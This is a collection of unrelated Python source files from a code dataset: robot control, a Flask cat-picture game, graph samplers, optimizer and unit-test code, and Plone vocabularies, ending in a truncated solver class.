robot.start_behavior(cozmo.behavior.BehaviorTypes.LookAroundInPlace)\n\n # try to find a block\n cube = None\n\n try:\n cube = robot.world.wait_for_observed_light_cube(timeout=10)\n\n except asyncio.TimeoutError:\n print(\"Didn't find a cube :-(\")\n\n finally:\n # whether we find it or not, we want to stop the behavior\n look_around.stop()\n return cube\n\n\n\ndef cozmo_program(robot: cozmo.robot.Robot):\n \n robot.drive_wheels(110, 220, 0, 0, 0.7)\n robot.drive_wheels(220, 110, 0, 0, 0.7)\n robot.drive_wheels(220, 220, 0, 0, 0.55)\n robot.drive_wheels(220, 110, 0, 0, .9)\n robot.drive_wheels(220, 220, 0, 0, .2)\n robot.drive_wheels(110, 220, 0, 0, .9)\n robot.drive_wheels(220, 220, 0, 0, .2)\n robot.drive_wheels(110, 220, 0, 0, .9)\n robot.drive_wheels(220, 220, 0, 0, .4)\n robot.drive_wheels(220, 40, 0, 0, .2)\n robot.drive_wheels(220, 115, 0, 0, 2.5)\n robot.drive_wheels(220, 85, 0, 0, 1.9)\n robot.drive_wheels(220, -220, 0, 0, .25)\n\n cube = cozmo_search_cube(robot)\n while cube == None :\n cube = cozmo_search_cube(robot)\n action = robot.pickup_object(cube, True, True, 3)\n result = action.wait_for_completed(timeout=30)\n \n robot.drive_wheels(220, -220, 0, 0, .2)\n robot.drive_wheels(-220, -220, 0, 0, .5)\n robot.go_to_pose(Pose(310, 2, 0, angle_z=degrees(-90)), relative_to_robot=False).wait_for_completed()\n\n\n cube2 = cozmo_search_cube(robot)\n while cube2 == None :\n cube2 = cozmo_search_cube(robot)\n \n # Now try to place that cube on the 2nd one\n current_action = robot.place_on_object(cube2, num_retries=3)\n current_action.wait_for_completed()\n if current_action.has_failed:\n code, reason = current_action.failure_reason\n result = current_action.result\n print(\"Place On Cube failed: code=%s reason='%s' result=%s\" % (code, reason, result))\n\n robot.go_to_pose(Pose(-300, 0, 0, angle_z=degrees(-90)), relative_to_robot=False).wait_for_completed()\n\n\ncozmo.run_program(cozmo_program)\n","sub_path":"sprint2/slalom/slalom.py","file_name":"slalom.py","file_ext":"py","file_size_in_byte":3105,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"624811577","text":"from setuptools import setup, find_packages\nimport sys, os\n\nversion = '0.8'\n\nsetup(name='SaladeDeFruits',\n version=version,\n description=\"A skinning middleware\",\n long_description=open('README.txt').read(),\n # Get strings from http://pypi.python.org/pypi?%3Aaction=list_classifiers\n classifiers=[\n 'Topic :: Internet :: WWW/HTTP :: WSGI :: Middleware',\n 'Operating System :: OS Independent',\n ],\n keywords='wsgi middleware skin lxml pyquery',\n author='Gael Pasgrimaud',\n author_email='gael@gawel.org',\n url='http://www.gawel.org/docs/SaladeDeFruits/index.html',\n license='MIT',\n packages=find_packages(exclude=['ez_setup', 'examples', 'tests']),\n include_package_data=True,\n zip_safe=False,\n install_requires=[\n # -*- Extra requirements: -*-\n 'WebOb',\n 'Paste',\n 'restkit',\n 'pyquery',\n ],\n entry_points=\"\"\"\n # -*- Entry points: -*-\n [paste.filter_app_factory]\n main = saladedefruits.saladier:make_salade\n [paste.app_factory]\n rewrite = saladedefruits.rewrite:make_rewrite\n \"\"\",\n )\n","sub_path":"pypi_install_script/SaladeDeFruits-0.8.tar/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1164,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"133843895","text":"# Andrew Bogdan\n# app.py\n\"\"\"\n\tThe thing that interacts with the OS and what's imported by __main__ through __init__.\n\"\"\"\n\n# Imports\nimport copy\nimport curses\nimport json\nimport os\nimport traceback\n\nfrom mirec_miskuf_json import json_loads_str\n\nfrom renderer import Renderer\nfrom game import Game\n\n# Classes\nclass App(object):\n\t\"\"\"\n\tThe all-encompassing class which connects the computer, game, and the renderer\n\n\tApp.__init__(self)\n\tApp._loop(self)\n\tApp._quit(self)\n\tApp.stop(self)\n\tApp.start(self)\n\n\tApp._game\n\tApp._is_running\n\tApp._options\n\tApp._renderer\n\tApp._screen\n\t\"\"\"\n\n\tdef __init__(self):\n\t\t\"\"\"Intialize App, starting the game.\"\"\"\n\n\t\t# Load game options\n\t\tgame_options_path = os.path.join(\tos.path.dirname(__file__), \n\t\t\t\t\t\t\t\t\t\t\t\"options.json\")\n\t\tgame_options_file = open(game_options_path, 'r')\n\t\tself._options = json_loads_str(game_options_file.read())\n\t\tgame_options_file.close()\n\n\t\t# Load renderer options\n\t\trenderer_options_path = os.path.join(\tos.path.dirname(__file__),\n\t\t\t\t\t\t\t\t\t\t\t\t\"renderer\",\n\t\t\t\t\t\t\t\t\t\t\t\t\"options.json\")\n\t\trenderer_options_file = open(renderer_options_path, 'r')\n\t\trenderer_options = json_loads_str(renderer_options_file.read())\n\t\trenderer_options_file.close()\n\n\t\t# Initialize variables\n\t\tself._is_running = False;\n\n\t\tself._game = Game(self, self._options)\n\t\tself._renderer = Renderer(self, renderer_options)\n\n\t\t# Start curses for I/O\n\t\tself._screen = curses.initscr()\n\n\t\tcurses.noecho()\n\t\tcurses.cbreak()\n\t\tcurses.curs_set(0)\n\t\tself._screen.nodelay(1)\n\t\tself._screen.keypad(1)\n\n\tdef _loop(self):\n\t\t\"\"\"Perform a main game loop.\"\"\"\n\n\t\t# Loop the subclasses\n\t\tself._game.loop()\n\t\tself._renderer.loop()\n\n\t\t# Get and evaluate I/O\n\t\tkey = self._screen.getch()\n\n\t\t# Evaluate text input\n\t\tif key != curses.ERR:\n\t\t\ttry:\n\n\t\t\t\tself._game.eval_echo(chr(key))\n\n\t\t\texcept ValueError:\n\n\t\t\t\tpass\n\n\t\t# Evaluate the first key binding which does something\n\t\tif str(key) in self._options[\"controls\"] and key != curses.ERR:\n\t\t\tfor control_string in self._options[\"controls\"][str(key)]:\n\t\t\t\t# This if clause executes the action and returns a boolean if it did anything\n\t\t\t\tif self._game.eval_control_string(control_string):\n\n\t\t\t\t\tbreak\n\n\tdef _quit(self):\n\t\t\"\"\"Clean up and shut down the app.\"\"\"\n\n\t\t# Shut down curses\n\t\tself._screen.keypad(0)\n\t\tself._screen.nodelay(0)\n\t\tcurses.curs_set(1)\n\t\tcurses.nocbreak()\n\t\tcurses.echo()\n\t\tcurses.endwin()\n\n\tdef stop(self):\n\t\t\"\"\"Stop looping.\"\"\"\n\n\t\tself._is_running = False\n\n\tdef start(self):\n\t\t\"\"\"Start looping; this is called independently and is the last thing to run.\"\"\"\n\n\t\t# Loop\n\t\tself._is_running = True\n\n\t\twhile self._is_running:\n\t\t\ttry:\n\n\t\t\t\tself._loop()\n\n\t\t\texcept:\n\n\t\t\t\tself._quit()\n\t\t\t\ttraceback.print_exc()\n\t\t\t\treturn\n\n\t\t# Quit when the loop stops\n\t\tself._quit()","sub_path":"app/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2724,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"584129374","text":"from flask import Flask\nfrom flask import render_template\nfrom mongokit import Connection, Document\nimport random, time\nfrom dateutil.relativedelta import relativedelta\n\n# attrs = ['years', 'months', 'days', 'hours', 'minutes', 'seconds']\n# human_readable = lambda delta: ['%d %s' % (getattr(delta, attr), getattr(delta, attr) > 1 and attr or attr[:-1]) \n# for attr in attrs if getattr(delta, attr)]\n\nMONGODB_HOST = 'localhost'\nMONGODB_PORT = 27017\nMAX_LEADERS = 5\n\ngrumpy = [ 107867, 242468, 365880, 559237, 678106, 766439, 876973,\n 111316, 262374, 413459, 560260, 680595, 769432, 887917,\n 111349, 266346, 428552, 560412, 680802, 791768, 892302,\n 117285, 277852, 430899, 567038, 686248, 794427, 902504,\n 120069, 284509, 450628, 567934, 694734, 795988, 915628,\n 155707, 288847, 466353, 583052, 700295, 800234, 925650,\n 156498, 292204, 471397, 599680, 704128, 807242, 936019,\n 157906, 313128, 499968, 616435, 724766, 810541, 940901,\n 186121, 325405, 524086, 637848, 725871, 826452, 941591,\n 198347, 330189, 528056, 640840, 740087, 829648, 957650,\n 209605, 343591, 543506, 647287, 740548, 858786, 966046,\n 230678, 354751, 559088, 677444, 748816, 875843, 980420 ]\n\nhappy = [ 103829, 230452, 295092, 449782, 629628, 753141, 933639, \n 140455, 235053, 328626, 460783, 651405, 767693, 949128, \n 201217, 236412, 403882, 520791, 700423, 853772, 963994, \n 227484, 255014, 442211, 553201, 742516, 899335 ]\n\napp = Flask(__name__)\napp.config.from_object(__name__)\nconnection = Connection(app.config['MONGODB_HOST'],\n app.config['MONGODB_PORT'])\n\n#Database schema\nclass Player(Document):\n # __collection__ = 'players'\n # __database__ = 'happycat'\n # use_schemaless = True\n structure = {\n 'id': unicode,\n 'start': float,\n 'correct': int,\n 'time': float,\n 'round': int,\n 'best': float,\n 'last': float,\n 'count': int\n }\n indexes = [\n {\n 'fields':'id',\n 'unique':True,\n }]\n default_values = {\n 'time': float('Inf'),\n 'best': 0,\n 'last': 0,\n 'round': 1,\n 'count': 0\n }\n use_dot_notation = True\n\n#Register the document with connection\nconnection.register([Player])\ncollection = connection['happycat'].players\n\n@app.route(\"/\")\ndef main_page():\n return render_template('index.html')\n\n@app.route(\"/prizes\")\ndef prizes():\n return render_template('prizes.html')\n\n@app.route(\"/contact\")\ndef contact():\n return render_template('contact.html')\n\n@app.route(\"/about\")\ndef about():\n return render_template('about.html')\n\ndef santize_id(id):\n return id.split(\"@andrew.cmu.edu\")[0].lower()\n\n@app.route('/play/')\ndef start_game(id):\n # return str(collection.Player.find_one({'id': u'gauravt'}));\n id = santize_id(id)\n\n #Generate random images\n correct = happy[random.randint(0, len(happy)-1)]\n images = random.sample(grumpy, 17)\n images.append(correct)\n random.shuffle(images)\n\n p = collection.Player.find_and_modify(\n query={\"id\": id },\n update={\"$set\": { \n \"start\": time.time(),\n \"correct\": correct,\n }},\n new= True,\n upsert=True)\n\n if not 'round' in p:\n rnd = 1\n else:\n rnd = p['round']\n \n # if not p['round'] < 4:\n # p['time'] = 0.0\n # p['correct'] = 0\n # p['round'] = 1\n\n html = '
    '\n html += 'Round: ' + str(rnd) + '/3'\n html += '''\n
    \n

    Find the happy cat!

    \n
    \n\n
    \n '''\n\n for i in range(0,18):\n html += '''\n \"\n\n\n return str(html)\n\n@app.route('/check//')\ndef check(image=None, id=None):\n html = \"\"\n id = santize_id(id)\n correct = False\n\n if image and id:\n p = collection.Player.find_one({'id': id}); \n if p:\n # print image, p['correct']\n if not 'count' in p:\n p['count'] = 0\n \n if str(image) == str(p['correct']):\n correct = True\n # print \"Correct\"\n\n #count corrects\n p['count'] += 1\n # print p['count']\n else:\n p['count'] -= 1\n # print \"Not correct\"\n\n if not 'best' in p:\n p['best'] = 0.0\n\n if not 'last' in p:\n p['last'] = 0.0\n\n cur = time.time()\n elapsed = cur - p['start']\n\n if not 'time' in p:\n p['time'] = elapsed\n else:\n p['time'] += elapsed\n\n if not 'round' in p:\n p['round'] = 2\n else:\n p['round'] = p['round'] + 1\n \n if p['round'] > 3:\n #Done with final\n # print float(p['count']) / p['time']\n p['last'] = float(p['count']) / p['time']\n\n if 'best' in p:\n if p['best'] < p['last']:\n p['best'] = p['last']\n else:\n p['best'] = p['last']\n\n p['time'] = 0.0\n p['count'] = 0\n p['round'] = 1\n\n p.save()\n \n return str(correct) + \":\" + str(p['round'])\n\n@app.route('/score/')\ndef score(image=None, id=None):\n id = santize_id(id)\n p = collection.Player.find_one({'id': id});\n\n if not 'best' in p:\n p['best'] = 0.0\n\n if not 'last' in p:\n p['last'] = 0.0\n\n p.save()\n\n html = ''\n\n if p:\n if 'last' in p:\n html += '''\n
    \n

     

    \n
    \n
    \n

    \n '''\n\n html += \"Meow! You scored \" + str(round(p['last'], 2)) + \". Your best: \" + str(round(p['best'], 2)) + \".\" \n \n html += '''\n

    \n \n

    \n \n
    \n

     

    \n \n
    \n
    \n
    \n \n
    \n
    \n
    \n '''\n\n html += 'See leaderboard
    '\n\n return html\n\n@app.route('/leaderboard')\ndef get_leaderboard():\n leaders = list(collection.Player.find().sort([(\"best\", -1)]).limit(MAX_LEADERS))\n # leaders = list(collection.Player.find({'best': {'$exists': True}})._addSpecial( '\"$orderby\"', { 'best' : -1 } ))\n html = '''
    \n
    \n
    \n

    Leaderboard

    \n
    \n\n
    \n
    \n \n \n \n \n \n \n \n '''\n for l in leaders:\n html += \"\"\n html += \"\"\n html += \"\"\n html += \"\"\n\n html += \"
    PlayerScore
    \" + l['id'] + \"\" + str(l['best']) + \"
    \"\n html += '
    '\n \n return str(html)\n\n \nif __name__ == \"__main__\":\n app.run(debug=True)\n","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":8322,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"77534543","text":"from abc import ABC, abstractmethod\nfrom collections import deque\n\nimport numpy as np\nimport random\nimport torch\nfrom torch.utils.data import DataLoader\n\n\ndef generic_bfs_edges(G, source, batch_size,\n neighbors=None, depth_limit=None):\n \"\"\"\n Reference: https://networkx.github.io/documentation/stable/_modules/networkx/algorithms/traversal/breadth_first_search.html\n added batch_size to control size of bfs subgraph\n \"\"\"\n visited = {source}\n edges = []\n if depth_limit is None:\n depth_limit = len(G)\n queue = deque([(source, depth_limit, neighbors(source))])\n while queue:\n parent, depth_now, children = queue[0]\n try:\n child = next(children)\n if child not in visited:\n edges.append((parent, child))\n visited.add(child)\n if len(visited) == batch_size:\n break\n if depth_now > 1:\n queue.append((child, depth_now - 1, neighbors(child)))\n except StopIteration:\n queue.popleft()\n return visited, edges\n\n\nclass BaseSampler(ABC):\n def __init__(self, data, batch_size):\n self.id_map = data.dataset.id_map\n self.gs_map = data.dataset.gs_map\n self.interaction_combo_graph = data.dataset.interaction_combo_nxgraph\n self.batch_size = batch_size\n self.num_nodes = self.interaction_combo_graph.number_of_nodes()\n self.nodes_visited_counter = np.zeros(self.num_nodes)\n\n @abstractmethod\n def sample_next_training_batch(self):\n pass\n\n\nclass EverythingSampler(BaseSampler):\n \"\"\"\n Sample all the pairs in the data at once\n \"\"\"\n def __init__(self, data):\n super().__init__(data, 0)\n self.batch_size = len(data.dataset.train_pairs)\n self.data_loader = DataLoader(data, batch_size=self.batch_size, shuffle=True)\n self.data_iterable = iter(self.data_loader)\n\n def sample_next_training_batch(self):\n try:\n sampled_pairs = next(self.data_iterable)\n except StopIteration:\n self.data_iterable = iter(self.data_loader)\n sampled_pairs = next(self.data_iterable)\n batch_gids = sampled_pairs.cpu().detach().numpy()\n sampled_gids = np.unique(batch_gids)\n return batch_gids, sampled_gids, None\n\n\nclass NeighborSampler(BaseSampler):\n \"\"\"\n Sample pairs based on a sampled subgraph\n \"\"\"\n def __init__(self, data, neighbor_size, batch_size):\n super().__init__(data, batch_size)\n self.neighbor_size = neighbor_size #float from 0 to 1 or int\n\n def neighbors_sampler(self, node):\n neighbors = list(self.interaction_combo_graph.neighbors(node))\n random.shuffle(neighbors)\n num_sample = self.neighbor_size if type(self.neighbor_size) == int else int(\n len(neighbors) * self.neighbor_size)\n neighbors = set(neighbors[:num_sample])\n return iter(neighbors)\n\n def sample_next_training_batch(self):\n sample_nodes, bfs_edges = self.recurse_sample_batch_size()\n subgraph = self.interaction_combo_graph.subgraph(sample_nodes).copy()\n batch_gids = np.asarray(list(map(lambda edge: (self.id_map[edge[0]], self.id_map[edge[1]]), subgraph.edges)))\n return batch_gids, [self.id_map[node] for node in sample_nodes], subgraph\n\n def recurse_sample_batch_size(self):\n sample_nodes = set()\n sample_edges = []\n while len(sample_nodes) < self.batch_size:\n batch_size = self.batch_size - len(sample_nodes)\n rand_node = random.randint(0, self.num_nodes - 1)\n while rand_node in sample_nodes or (np.any(self.nodes_visited_counter == 0) and self.nodes_visited_counter[rand_node] > 0):\n rand_node = random.randint(0, self.num_nodes - 1)\n self.nodes_visited_counter[rand_node] += 1\n bfs_nodes, bfs_edges = generic_bfs_edges(self.interaction_combo_graph, rand_node, batch_size,\n neighbors=self.neighbors_sampler)\n sample_nodes = sample_nodes.union(bfs_nodes)\n sample_edges.append(bfs_edges)\n return sample_nodes, sample_edges\n\n\nclass RandomSampler(BaseSampler):\n \"\"\"\n Randomly sampler pairs and take all induced pairs\n \"\"\"\n def __init__(self, data, batch_size, sample_induced=False):\n super().__init__(data, batch_size)\n self.data_loader = DataLoader(data, batch_size=batch_size, shuffle=True)\n self.data_iterable = iter(self.data_loader)\n self.sample_induced = sample_induced\n\n def sample_next_training_batch(self):\n try:\n sampled_pairs = next(self.data_iterable)\n except StopIteration:\n self.data_iterable = iter(self.data_loader)\n sampled_pairs = next(self.data_iterable)\n if self.sample_induced:\n return self.sample_induced_pairs(sampled_pairs)\n else:\n batch_gids = sampled_pairs.cpu().detach().numpy()\n sampled_gids = np.unique(batch_gids)\n return batch_gids, sampled_gids, None\n\n def sample_induced_pairs(self, given_links):\n unique_gids = torch.unique(given_links).cpu().detach().numpy()\n ids = [self.gs_map[gid] for gid in unique_gids]\n subgraph = self.interaction_combo_graph.subgraph(ids)\n batch_gids = np.asarray(list(map(lambda edge: (self.id_map[edge[0]], self.id_map[edge[1]]), subgraph.edges)))\n sampled_gids = np.unique(batch_gids)\n unique_ids = np.unique(list(subgraph.edges))\n for uid in unique_ids:\n self.nodes_visited_counter[uid] += 1\n return batch_gids, sampled_gids, None\n\n\nclass RandomGraphSampler(BaseSampler):\n def __init__(self, data, batch_size):\n super().__init__(data, batch_size)\n self.data_loader = DataLoader(data, batch_size=batch_size, shuffle=True)\n self.data_iterable = iter(self.data_loader)\n","sub_path":"src/sampler.py","file_name":"sampler.py","file_ext":"py","file_size_in_byte":5963,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"344834348","text":"if __name__ == '__main__':\n import datetime\n\n today = datetime.date.today()\n print(today)\n print(repr(today))\n\n now = datetime.datetime.now()\n print(now)\n print(repr(now))\n\n\n from datetime import date\n\n\n bday = date(1993, 11, 24)\n print(bday.weekday())\n print(bday.isoweekday())\n\n\n from datetime import datetime, timedelta\n\n\n now = datetime.now() + timedelta(days=9)\n print(now)\n print(now.strftime('%a, %d. %b %Y'))\n print(now.strftime('%c'))\n print(now.strftime('%Z %X %f %j'))\n\n\n from datetime import datetime\n\n\n parsed = datetime.strptime(\n 'Wed Jun 13 14:47:12 2018',\n '%a %b %d %H:%M:%S %Y'\n )\n print(parsed.isoformat())\n\n\n from datetime import datetime\n\n\n # datetime.time does not allow math, so we use datetime\n a = datetime(2018, 6, 13, 14, 35)\n b = datetime(2018, 6, 13, 17, 22)\n\n print(b - a)\n\n\n from datetime import datetime\n\n\n a, b = datetime(2000, 2, 28, 23, 59), datetime(2000, 3, 1)\n c, d = datetime(2100, 2, 28, 23, 59), datetime(2100, 3, 1)\n\n print((b - a).days) # leap year\n print((d - c).days) # no leap year\n\n\n\n from datetime import datetime, timedelta\n\n\n now = datetime(2018,6,13,15,12,37)\n now = datetime.now()\n days137 = timedelta(days=137)\n\n print(now + days137)\n\n\n from datetime import datetime\n\n\n now = datetime.now()\n print(now.strftime('%c'))\n print(now.strftime('%a %b %#d %H:%M:%S %Y'))\n\n\n from datetime import datetime\n import locale\n\n\n locale.setlocale(locale.LC_ALL, 'de-DE')\n now = datetime.now() + timedelta(days=7,hours=9)\n print(now.strftime('%c'))\n print(now.strftime('%a %b %d %H:%M:%S %Y'))\n\n\n from datetime import datetime\n\n someday = datetime(2016,11,28,18,29,37)\n print(someday.strftime('%Y-%m-%dT%H:%M:%S'))\n print(someday.isoformat())\n\n\n from datetime import datetime\n\n\n a = datetime(2000, 2, 28, 23, 59)\n b = datetime(2000, 3, 1)\n print(type((b - a)))\n\n\n import math\n from datetime import datetime, timedelta\n\n\n begin = datetime(2018, 4, 3)\n end = datetime(2018, 7, 7)\n print(math.ceil((end - begin) / timedelta(weeks=1)))\n print(math.ceil((end - begin) / timedelta(weeks=2)))\n\n\n import parsedatetime as pdt\n\n\n cal = pdt.Calendar()\n time_struct, parse_status = cal.parse(\"hello\")\n print(time_struct)\n print(parse_status)\n\n\n\n import calendar\n\n\n calendar.prmonth(2018, 6)\n print(\"\\n\", calendar.monthcalendar(2018, 6))\n\n\n import time\n\n\n print(time.time())\n #time.sleep(2)\n print(\"I was delayed by 2 seconds!\")\n\n\n\n\n import random\n import time\n\n\n size = 10000\n seq = random.sample(range(10000000000), k=size)\n start = time.time()\n seq.sort()\n end = time.time()\n print(f\"It took {end - start: .3f} seconds to sort {size} numbers.\")\n\n\n\n import random\n import time\n\n\n def avg_performance(func, trials=100):\n results = []\n for i in range(trials):\n start = time.time()\n func()\n end = time.time()\n results.append(end-start)\n \n return sum(results) / trials\n\n #print(f\"Average of: {avg:.3f}s over {trials} trials.\")\n\n\n\n\n import timeit\n\n\n size = 100\n seq = random.sample(range(10000000000), k=size)\n print(timeit.timeit(seq.sort))\n\n\ndef func():\n \"~\".join(str(n) for n in range(100))","sub_path":"2018/10/code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":3370,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"430873146","text":"from selenium import webdriver\r\n# all browsers expose an executable file.\r\n# through selenium test we need to invoke the executable file which will then invoke the actual browser\r\n# driver = webdriver.Chrome(executable_path=\"C:\\\\chromedriver.exe\")\r\n\r\ndriver = webdriver.Firefox(executable_path=\"C:\\\\geckodriver.exe\")\r\n\r\ndriver.get(\"https://www.python.org/\") # get method to hit url on browser\r\n\r\ndriver.maximize_window()\r\n\r\nprint(driver.title) # print the title of the web page\r\n\r\nprint(driver.current_url) # to check if we landed on correct web address\r\n\r\ndriver.get(\"https://www.python.org/doc/\")\r\n\r\ndriver.back()\r\n\r\ndriver.minimize_window()\r\n\r\ndriver.close() # closes the browser window. driver.quit() will quit all the windows that are open for automated tests\r\n\r\n","sub_path":"PythonSelenium/BrowserDemo.py","file_name":"BrowserDemo.py","file_ext":"py","file_size_in_byte":777,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"552867261","text":"import unittest\n\nimport numpy as np\n\nfrom numpy.testing import assert_array_equal, assert_array_almost_equal\nfrom src.softmax_regressor import CustomSoftmaxRegressor\n\n\nclass TestSoftmaxRegression(unittest.TestCase):\n\n def setUp(self):\n self.clf = CustomSoftmaxRegressor()\n\n def test_softmax_score(self):\n X = np.asarray(\n [[1, 2, 3],\n [5, 2, 1],\n [4, 2, 5],\n [2, 5, 1]]\n )\n theta = np.asarray(\n [[1, 1, 1],\n [1, 5, 6]]\n )\n\n # theta * X'\n result = np.asarray(\n [[6, 8, 11, 8],\n [29, 21, 44, 33]]\n )\n\n self.clf.weights = theta # simulate training\n self.clf.num_classes = np.shape(theta)[0]\n for i in range(self.clf.num_classes):\n assert_array_equal(result[i, :], self.clf._softmax_score(X, i))\n\n def test_compute_cost(self):\n X = np.asarray(\n [[1.4, 1.2, 4.0, 2.4],\n [6.1, 4.1, 2.3, 3.3],\n [4.5, 4.2, 1.24, 2.4]]\n )\n theta = np.asarray(\n [[1, 1, 4, 5],\n [2, 4, 5, 5]]\n )\n # 2 classes\n Y = np.asarray(\n [[1, 0],\n [0, 1],\n [0, 1]]\n )\n\n cost = 3.000041\n self.clf.weights = theta # simulate training\n self.clf.num_classes = np.shape(theta)[0]\n assert_array_almost_equal(cost, self.clf._compute_cost(X, Y))\n\n def test_softmax_proba(self):\n X = np.asarray(\n [[6, 1, 5],\n [1, 5, 2],\n [2, 1, 5],\n [6, 7, 4]]\n )\n theta = np.asarray(\n [[2, 5, 6],\n [1, 2, 5],\n [3, 1, 3]]\n )\n proba = np.asarray(\n [[0.999, 8.315e-07, 2.26e-06],\n [0.999, 1.523e-08, 1.38e-11],\n [0.999, 4.539e-05, 4.13e-08],\n [1, 3.442e-14, 1.71e-15]]\n )\n\n self.clf.theta = theta\n assert_array_almost_equal(proba, self.clf.predict_proba(X), decimal=3)\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"Chapter04/test/test_softmax_regressor.py","file_name":"test_softmax_regressor.py","file_ext":"py","file_size_in_byte":2110,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"360155110","text":"import numpy as np\n\n\nclass RMSprop:\n \n def __init__(self, fn, fn_grad):\n self.fn = fn\n self.fn_grad = fn_grad\n \n # http://ruder.io/optimizing-gradient-descent/index.html#rmsprop\n def run(self, x_init, y_init, n_iter, lr = 0.001, beta = .9, tol= 1e-5, epsilon = 1e-8):\n x, y = x_init,y_init\n z = self.fn(x, y)\n\n x_path = []\n y_path = []\n z_path = []\n\n x_path.append(x)\n y_path.append(y)\n z_path.append(z)\n\n dx, dy = self.fn_grad(self.fn, x, y)\n \n dx_sq = dx**2\n dy_sq = dy**2\n\n for i in range(n_iter):\n if np.abs(dx) < tol or np.isnan(dx) or np.abs(dy) < tol or np.isnan(dy):\n break\n \n dx, dy = self.fn_grad(self.fn, x, y)\n \n dx_sq = beta * dx_sq + (1 - beta) * dx * dx\n dy_sq = beta * dy_sq + (1 - beta) * dy * dy\n\n x += - lr * dx / np.sqrt(dx_sq + epsilon)\n y += - lr * dy / np.sqrt(dy_sq + epsilon)\n \n x_path.append(x)\n y_path.append(y)\n z = self.fn(x, y)\n z_path.append(z)\n\n if np.isnan(dx) or np.isnan(dy):\n print('\\033[1m RMSprop \\033[0m \\nExploded')\n elif np.abs(dx) < tol and np.abs(dy) < tol:\n print('\\033[1m RMSprop \\033[0m \\nDid not converge')\n else:\n print('\\033[1m RMSprop \\033[0m \\nConverged in {} steps. \\nLoss fn {:0.4f} \\nAchieved at coordinates x,y = ({:0.4f}, {:0.4f})'.format(i, z, x, y))\n\n self.z_path_RMSprop = z_path\n self.z_RMSprop = z\n \n return x_path,y_path,z_path\n \n \n","sub_path":"unconstrained_optimization/RMSprop.py","file_name":"RMSprop.py","file_ext":"py","file_size_in_byte":1675,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"193773092","text":"\nfrom bottle import post, run, request\nimport threading\nimport time\n\n\ncount = 0\n\n@post('/')\ndef index():\n global count\n count += int(request.body.read())\n return b''\n\n\ndef show():\n prev = 0\n while True:\n start = time.time()\n time.sleep(1)\n now = time.time()\n dur = now - start\n print(int((count - prev) / dur), 'ops')\n start = now\n prev = count\n\nthreading.Thread(target=show).start()\nrun(host='localhost', port=7000, quiet=True)\n","sub_path":"example/benchmark/counter.py","file_name":"counter.py","file_ext":"py","file_size_in_byte":493,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"208470404","text":"from five import grok\nfrom opengever.meeting.model import Committee\nfrom opengever.meeting.model import Member\nfrom opengever.meeting.model import Membership\nfrom plone import api\nfrom zope.schema.interfaces import IContextSourceBinder\nfrom zope.schema.interfaces import IVocabularyFactory\nfrom zope.schema.vocabulary import SimpleTerm\nfrom zope.schema.vocabulary import SimpleVocabulary\n\n\nclass CommitteeVocabulary(grok.GlobalUtility):\n grok.provides(IVocabularyFactory)\n grok.name('opengever.meeting.CommitteeVocabulary')\n\n def __call__(self, context):\n terms = []\n\n for committee in self.get_committees():\n terms.append(SimpleTerm(value=committee,\n token=committee.committee_id,\n title=committee.title))\n return SimpleVocabulary(terms)\n\n def get_committees(self):\n return Committee.query.all()\n\n\nclass ActiveCommitteeVocabulary(CommitteeVocabulary):\n grok.name('opengever.meeting.ActiveCommitteeVocabulary')\n\n def get_committees(self):\n return Committee.query.active().all()\n\n\nclass MemberVocabulary(grok.GlobalUtility):\n grok.provides(IVocabularyFactory)\n grok.name('opengever.meeting.MemberVocabulary')\n\n def __call__(self, context):\n terms = []\n\n for member in Member.query.order_by(Member.fullname):\n terms.append(SimpleTerm(value=member,\n token=member.member_id,\n title=member.fullname))\n return SimpleVocabulary(terms)\n\n\n@grok.provider(IContextSourceBinder)\ndef get_committee_member_vocabulary(meetingwrapper):\n meeting = meetingwrapper.model\n members = []\n for membership in Membership.query.for_meeting(meeting):\n member = membership.member\n members.append(\n SimpleVocabulary.createTerm(\n member,\n str(member.member_id),\n member.get_title(show_email_as_link=False)))\n\n return SimpleVocabulary(members)\n\n\nclass LanguagesVocabulary(grok.GlobalUtility):\n grok.provides(IVocabularyFactory)\n grok.name('opengever.meeting.LanguagesVocabulary')\n\n def __call__(self, context):\n ltool = api.portal.get_tool('portal_languages')\n languages = [code.split('-')[0]\n for code in ltool.getSupportedLanguages()]\n\n return SimpleVocabulary(\n [SimpleTerm(language) for language in languages])\n","sub_path":"opengever/meeting/vocabulary.py","file_name":"vocabulary.py","file_ext":"py","file_size_in_byte":2472,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"593095640","text":"\nimport pandas\nfrom celery.result import allow_join_result\nfrom scipy.sparse.csr import csr_matrix\n\nfrom tworaven_apps.solver_interfaces.models import \\\n R_SERVICE, KEY_SUCCESS, KEY_MESSAGE, KEY_DATA\n\nfrom tworaven_solver import Dataset, preprocess\nfrom tworaven_apps.solver_interfaces.util_model import ModelSklearn, ModelH2O, ModelLudwig\nimport uuid\nimport abc\nimport requests\nfrom celery import group\nimport multiprocessing\nimport os\n\nfrom time import sleep\n\n\nclass Search(object):\n system = None\n\n def __init__(self, specification,\n callback_found: str, callback_arguments=None,\n system_params=None, search_id=None):\n\n from tworaven_apps.solver_interfaces.tasks import FOUND_MODEL_CALLBACKS\n if callback_found not in FOUND_MODEL_CALLBACKS:\n raise ValueError(f'Callback {callback_found} is not found in the list of available model callbacks.')\n\n if search_id is 